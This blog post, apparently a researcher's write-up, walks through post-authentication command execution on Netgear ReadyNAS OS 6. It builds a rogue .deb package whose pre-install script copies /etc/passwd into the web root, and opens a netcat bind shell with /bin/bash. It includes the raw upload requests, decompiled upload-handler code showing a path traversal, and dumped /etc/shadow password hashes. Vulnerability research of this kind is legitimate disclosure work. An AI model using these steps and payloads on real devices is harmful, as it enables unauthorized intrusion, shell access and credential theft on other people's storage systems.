C11100: ReadyNAS OS 6 <= 6.10.6, Remote Code Execution (post-auth)
While waiting to find a really valuable vulnerability with a real impact, I propose to show you a little trick to execute commands on Netgear NAS when you have a privileged account.
What is ReadyNAS?
According to a Netgear NAS reseller. The ReadyNAS solution fits the following description:
ReadyNAS brings state-of-the-art data storage and protection technologies in an affordable and easy-to-use system to the SMB. All ReadyNAS are built on the revolutionary ReadyNAS OS 6 operating system and next-gen BTRFS file system. A best-in-class 5 levels of data protection - X-RAID, Unlimited Snapshots, Bit rot protection, real-time anti-virus and easy offsite replication work in concert to securely protect your data from common risks.
All ReadyNAS systems utilize proprietary ReadyCLOUD technology. With ReadyCLOUD, remotely accessing and sharing files in your own secure private cloud has never been easier. No VPN setup, no port forwarding, no dynamic DNS required. - NetGuardStore
Let’s see how it is possible to get an arbitrary command execution.
How?
The Linux based ReadyNAS OS offers to administrators the possibility of installing applications from the catalog offered by Netgear. In addition, an administrator can provide an application in the form of a package in .deb format. So we only have to create a malicious one.
Generating a rogue .deb package
Define the basename of the output destination file.
Example:
- fb3bdaccd8d67b2ad866873c4cb0abd1155946c9.log
Create the script that will be executed before installing the rogue package:
$ mkdir -p test
$ echo '#!/bin/bash' > test/test.sh
$ echo 'cat /etc/passwd > /frontview/dashboard/fb3bdaccd8d67b2ad866873c4cb0abd1155946c9.log' >> test/test.sh
Generate a .deb package using fpm by specifying the previously created script to be run before installation:
$ fpm -n test -s dir -t deb -a all --before-install ./test/test.sh ./test
Created package {:path=>"test_1.0_all.deb"}
Upload the rogue .deb file
Once the malicious package is created, all we have to do is upload it via the corresponding form.
Below is the burp request associated with the upload of the malicious .deb package.
And once the upload is done we realize that the file fb3bdaccd8d67b2ad866873c4cb0abd1155946c9.log has been correctly created at the root of the web server
Now that we can execute commands, let’s check how we can get a shell.
The version of busybox
embedded by ReadyNAS OS includes the nc
binary. So we
can use the following pre-installation script to get a bind shell which can be
useful when using the tor network since it does not allow us to use a reverse
shell:
#!/bin/bash
/bin/busybox nc -l -p 6666 -e /bin/bash &
echo "[+] Listening ..." > /frontview/dashboard/fb3bdaccd8d67b2ad866873c4cb0abd1155946c9.log
Why?
First, let’s look at the routing of the application. The web server installed is Apache.
$ ls /etc/apache2/sites-enabled/
000-fv-https.conf
File: /etc/apache2/sites-enabled/000-fv-https.conf
<IfModule mod_ssl.c>
<VirtualHost _default_:443>
Include "/etc/frontview/apache/ssl.conf"
Include "/etc/frontview/apache/defaults.conf"
Include "/etc/frontview/apache/http-share-redirect.conf"
Include "/etc/frontview/apache/fv-admin.conf"
Include "/etc/frontview/apache/Shares.conf"
Include "/etc/frontview/apache/apps-https.conf"
Include "/etc/frontview/apache/READYDROP.conf"
</VirtualHost>
</IfModule>
Let’s look at an extract of the file /etc/frontview/apache/fv-admin.conf.
File: /etc/frontview/apache/fv-admin.conf
...
ScriptAlias /admin-cgi/ /frontview/lib/
<Location /admin-cgi>
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
Include "/etc/frontview/apache/Admin_Auth.conf"
</Location>
...
Then the files /etc/frontview/apache/Admin_Auth.conf.
File: /etc/frontview/apache/Admin_Auth.conf
Include /etc/frontview/apache/Auth.conf
AuthName "ReadyNAS Admin"
Require unix-group admin
And
File: /etc/frontview/apache/Auth.conf
<IfModule !mod_authn_privsep.c>
LoadModule privsep_module /usr/lib/apache2/modules/mod_privsep.so
LoadModule authn_privsep_module /usr/lib/apache2/modules/mod_authn_privsep.so
</IfModule>
AuthType Basic
AuthBasicProvider privsep
PrivilegeSeparation On
A quick look at the documentation of the include directive here help us deduce how the configuration works. Only users belonging to the unix group admin can access the CGI scripts present at /frontview/lib/:
- dbbroker.cgi
- delete.cgi
- download.cgi
- fastupload.cgi
- fsbroker
- fsbroker.cgi
- fwbroker.cgi
- fwbrokernml
- localapp.cgi
- makedir.cgi
- status.cgi
- stimg.cgi
- upload.cgi
Using the prefix /admin-cgi/. Let’s look at the groups present:
File: /etc/group
root:x:0:
...
admin:x:98:
guest:x:99:
nogroup:x:99:
users:x:100:
mysql:x:56:
As well as the users present:
File: /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
admin:x:98:98::/home/admin:/bin/bash
...
Let’s get the file /etc/shadow to display the hashs of the passwords:
File: /etc/shadow
root:$6$ov3WFuph$je2iy9ovJUN/3sg2RpuzoqdPndvm7FtB71vugLr8tycH3LFzlZgaY4oyc6gmuTsfqHpj5R5Ico35K3dB7rtSC.:15499:0:99999:7:::
...
admin:$1$sSXWGgI6$wLtqmHJXTw./AEneJ/hTm1:15499:0:99999:7:::
...
mysql:!:18982:0:99999:7:::
Unfortunately even the cleartext of these passwords will not allow us to authenticate via ssh.
File: /etc/ssh/sshd_config
# Do not edit.
Protocol 2
Port 22
#ListenAddress ::
#ListenAddress 0.0.0.0
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
# Privilege Separation is turned on for security
UsePrivilegeSeparation yes
# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 1024
# Logging
SyslogFacility AUTH
LogLevel INFO
# Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile %h/.ssh/authorized_keys %h/.ssh/ssh_authorized_keys
# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no
# Change to no to disable tunnelled clear text passwords
PasswordAuthentication no
# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no
#MaxStartups 10:30:60
#Banner /etc/issue.net
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
UsePAM yes
$ ls -al /root/.ssh/ssh_authorized_keys
-rw------- 1 root root 388 Dec 22 00:02 /root/.ssh/ssh_authorized_keys
$ ls -al /home/admin/.ssh/ssh_authorized_keys
-rw------- 1 admin admin 388 Dec 22 00:02 /home/admin/.ssh/ssh_authorized_keys
$ md5sum /root/.ssh/ssh_authorized_keys /home/admin/.ssh/ssh_authorized_keys
4f23f1198a89d8bd5731ae11bc449ebb /root/.ssh/ssh_authorized_keys
4f23f1198a89d8bd5731ae11bc449ebb /home/admin/.ssh/ssh_authorized_keys
Because only key authentication is allowed and we do not have the private key associated to the public key:
File: /root/.ssh/ssh_authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDghDcHsc3r/iGhguCF67YId4AM413E+Qo30GT2NAqnkmv3EDELet3neAKs7+i/RgzNGgGxiqSnFSAzAuNe6QM9hsXEypzo1nvBonSchc2xc7woBVN1aGteRzFiopyvoeFkruwoTzMfEXIvyo99qhVZch+4iHkiD6fAe5fXE5Pb80UYCj8FPIxEbifzQx9siG6sZaZKolmIR7WjMKpyROFCtbPL2MLAr9gVrrU+w5uuirv5XKDcymyFpbRstE7gdhOcbh2OTGgaQmGWO7/l6Bg2nST63PG0+9f9cZLxGW+BgodCt+tuEMM8fymI5ogp03gx6Jj/RrN3EnFmRx9aLAH7 Jackal
But let’s go back to the source of the problem.
Reverse engineering
When installing an application (via format .deb), two HTTP POST requests are sent.
First request:
POST /admin-cgi/localapp.cgi HTTP/1.1
Host: X.X.X.X
Cookie: sn=3ER539EB004C1; ys-BrowseDataViewMode=s%3Aicons
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2796578313832174967289471650
Content-Length: 1711
Origin: https://X.X.X.X
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Referer: https://X.X.X.X/admin/index.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------2796578313832174967289471650
Content-Disposition: form-data; name="ext-comp-1513"
test_1.0_all.deb
-----------------------------2796578313832174967289471650
Content-Disposition: form-data; name="file"; filename="test_1.0_all.deb"
Content-Type: application/octet-stream
!<arch>
debian-binary/ 0 0 0 644 4 `
2.0
control.tar.gz/ 0 0 0 644 508 `
‹�½ÂÉa�ÃÖÃkÛ0�ð<û¯ÃØs,ÊNeƒ=l°A¡°÷“tND)HrÓõ¯ŸâBaÂ…Ã’'gÂÃü…Î:!q¶r¾Z\‘tm;_“××ù¾lJQՕÃ9N”e»bÃòC[¦Ã3v‰T×(çÊÙèø`Žó‹¦ysýëÔö÷úwmU®X±à ˜^üçëêv¸eCÃŒ~¡ÆÙ-+ó"ûaÚš&{oÃɦV«Âß2ë,f_¼Ú›ˆ*N>…À8f?ÃؘL!Ÿ¦€þ³FiÀÞdßmšäqD½¾3O)ºÈîҋs"ÂLcÃŒn½qÞÄß[†ÂÑCöÃð8lãqË9>Âá8b®ÜÂ[·ž¼YïÌÚì+Ã¥Ãñ¹;ëRÂ/Ãì9â_Ãñ5ËùA·a:„s¼Wÿ¥(_×S×Tÿ—P÷ [lä°J*ÂØ#B¡* Ú^k6øù”‡}֗ØËª]WŠÃP©M'E¯êBµ�
cSð<ìÃ#×NÃïqµ»ÃÑÃòÃãuÉùÑ£Ißçs¼·ÿ+›×û¿ôÿ¯¨þ/áã.ÂÃ¥Rq+ˆŒcTü!œ4»a|ðiwø`ðÄuŠÂ¼æƒ¬¥¥t¯E'+ý}W«FɤN[÷vSÃ…S¹B!„B!„B!„rA�Ú¼�(��data.tar.gz/ 0 0 0 644 514 `
‹�½ÂÉa�ÓÓg 90�sSS0
è4˜mhbhfdldffRgfhhÊ `J{§10”—$)(ÃêÃôôKR‹Kh›HÂss“Ñø§€Æ?ˆÃ+Π„âßÃ9þÂâ†&@iÚ8ŒðøWVÔOÊÌÓOJ,ÃŽÃ JN,QÃO-IÖ/H,..OQ°SÃO+ÊÃ+)ËL-×OªHÊO,JÑOK2NJILNN±H13O2JL±03³07N6IN2HLJæ–&fɖz9ùé\ÿQ€èé—Ѹ
@Fýond6ZþÓ@â¿8#±(•f©€äø74006Âz�äøOÉO¦I #þMÃGÛÿtèñO‹Þ�éñlBŒ¶ÿé°ÆrFb^z*°ù¦—^E;@lfb‚3þÂŒÑâߨmÿÓÈws0ì]{2‘‰™÷”7×!֕aÂ…ÃZÛö°x/¬+P8Çu×ÉG/w‚›‡p֔˦÷Ì]—Ú_ºifü2c/)É»ïÂ.·i³ÊD|ߦüPhû³Âm6-¿|=Úê9ãüõ Ây_Øä¸üȑ]ÙÃù–ßìwWLrsù˸Ì"¤Â| ý?
FÃ(£`Œ‚Q0
FÃ(£`Œ‚Q0
FÃ(Ã��¤ùªï�(��
-----------------------------2796578313832174967289471650
Content-Disposition: form-data; name="MAX_FILE_SIZE"
104857600
-----------------------------2796578313832174967289471650--
Second request:
POST /dbbroker HTTP/1.1
Host: X.X.X.X
Cookie: sn=3ER539EB004C1; ys-BrowseDataViewMode=s%3Aicons
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Csrfpid: dipRq9aF7JRct8_JtDAJBgAvX6eXsCHEnqLyAGtVRxJhv6EEHgs6DuVu7jJmez6IYq1czLPC5C_9A-n8bGTJv8kSi339G62q
Content-Length: 690
Origin: https://X.X.X.X
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Referer: https://X.X.X.X/admin/index.html
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
<?xml version="1.0" encoding="UTF-8"?> <xs:nml xmlns:xs="http://www.netgear.com/protocol/transaction/NMLSchema-0.9" xmlns="urn:netgear:nas:readynasd" src="dpv_1640610761000" dst="nas"> <xs:transaction id="njl_id_1669"> <xs:command id="njl_id_1668" resource-id="LocalApp" resource-type="LocalApp"> <xs:command_name>app-install</xs:command_name> <xs:args> <xs:arg><DebFile>/tmp/test_1.0_all.deb</DebFile></xs:arg> <xs:arg><DryRun>1</DryRun></xs:arg> </xs:args> </xs:command> </xs:transaction> </xs:nml>
The XML sent is as follows:
<?xml version="1.0" encoding="UTF-8"?>
<xs:nml
xmlns:xs="http://www.netgear.com/protocol/transaction/NMLSchema-0.9"
xmlns="urn:netgear:nas:readynasd" src="dpv_1640610761000" dst="nas">
<xs:transaction id="njl_id_1669">
<xs:command id="njl_id_1668" resource-id="LocalApp" resource-type="LocalApp">
<xs:command_name>app-install</xs:command_name>
<xs:args>
<xs:arg>
<DebFile>/tmp/test_1.0_all.deb</DebFile>
</xs:arg>
<xs:arg>
<DryRun>1</DryRun>
</xs:arg>
</xs:args>
</xs:command>
</xs:transaction>
</xs:nml>
We will have to look at the CGI scripts /frontview/lib/localapp.cgi and /frontview/lib/dbbroker.cgi.cgi and debug them with the root shell.
Looking into function FUN_00401d10
from /frontview/lib/localapp.cgi
File: /frontview/lib/localapp.cgi
void FUN_00401d10(undefined8 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,
undefined4 param_5,undefined4 param_6,undefined4 param_7,undefined4 param_8,
int param_9,long param_10,undefined8 param_11,undefined8 param_12,
undefined8 param_13,undefined8 param_14)
{
...
local_c = 0;
local_1168[0] = '\0';
for (local_18 = local_168; uVar10 = (undefined)param_10, local_18 != (char **)0x0;
local_18 = (char **)local_18[4]) {
pcVar4 = local_18[1];
pcVar8 = *local_18;
pcVar6 = "mime.name=%s mime.filename=%s\n";
FUN_004010f6(uVar9,param_2,param_3,param_4,param_5,param_6,param_7,param_8,0,"localapp_cgi.c",
0x173,"mime.name=%s mime.filename=%s\n",pcVar8,pcVar4,uVar10);
iVar1 = strcmp(*local_18,"file");
uVar9 = extraout_XMM0_Da_09;
if (((iVar1 == 0) &&
(local_48 = strrchr(local_18[1],0x2e), uVar9 = extraout_XMM0_Da_10, local_48 != (char *)0x0)
) && (iVar1 = strcmp(local_48,".deb"), uVar9 = extraout_XMM0_Da_11, iVar1 == 0)) {
pcVar6 = local_18[1];
snprintf(local_1168,0x1000,"/tmp/%s");
__s = fopen(local_1168,"w");
uVar9 = extraout_XMM0_Da_12;
local_50 = __s;
if (__s != (FILE *)0x0) {
fwrite(local_18[3],1,(size_t)local_18[2],__s);
fclose(local_50);
local_c = 1;
pcVar6 = (char *)__s;
uVar9 = extraout_XMM0_Da_13;
}
}
}
...
}
The above code (FUN_00401d10
) is executed when a POST request is made to
/admin-cgi/localapp.cgi. It writes the content
of the sent file to the /tmp folder.
Path Traversal
We notice that it is also possible to exploit a Path Traversal vulnerability since we can prefix the file name with as many ../ as we want.
Let us now turn our attention to /frontview/lib/dbbroker.cgi.cgi.
UPDATE 2022-03-21:
It has also been identified multiple XSS vulnerabilities.